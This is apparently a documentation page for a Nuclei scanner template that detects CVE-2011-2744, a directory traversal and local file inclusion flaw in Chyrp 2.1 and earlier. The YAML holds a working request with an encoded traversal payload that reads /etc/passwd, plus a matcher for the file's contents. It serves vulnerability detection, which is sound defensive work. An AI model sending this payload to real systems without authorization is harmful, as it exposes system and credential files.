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Chyrp 2.x - Local File Inclusion

ID: CVE-2011-2744

Severity: medium

Author: daffainfo

Tags: cve,cve2011,lfi,chyrp,edb

Description

Section titled “Description”

A directory traversal vulnerability in Chyrp 2.1 and earlier allows remote attackers to include and execute arbitrary local files via a ..%2F (encoded dot dot slash) in the action parameter to the default URI.

YAML Source

Section titled “YAML Source”
id: CVE-2011-2744


info:
  name: Chyrp 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in Chyrp 2.1 and earlier allows remote attackers to include and execute arbitrary local files via a ..%2F (encoded dot dot slash) in the action parameter to the default URI.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, or complete compromise of the affected system.
  remediation: |
    Upgrade Chyrp to the latest version or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/35945
    - http://www.openwall.com/lists/oss-security/2011/07/13/6
    - https://nvd.nist.gov/vuln/detail/CVE-2011-2744
    - http://securityreason.com/securityalert/8312
    - http://www.ocert.org/advisories/ocert-2011-001.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2011-2744
    cwe-id: CWE-22
    epss-score: 0.01541
    epss-percentile: 0.87103
    cpe: cpe:2.3:a:chyrp:chyrp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chyrp
    product: chyrp
  tags: cve,cve2011,lfi,chyrp,edb


http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a004730450220156fa4fa63cbab95905b69b556040cfeb52875d7cd2a4e7720c82f420a83596f022100ac131abc7472aff067d6cec0a45e97027a0abe7604b67fe017ae3e5b4ffdd7b6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2011/CVE-2011-2744.yaml"

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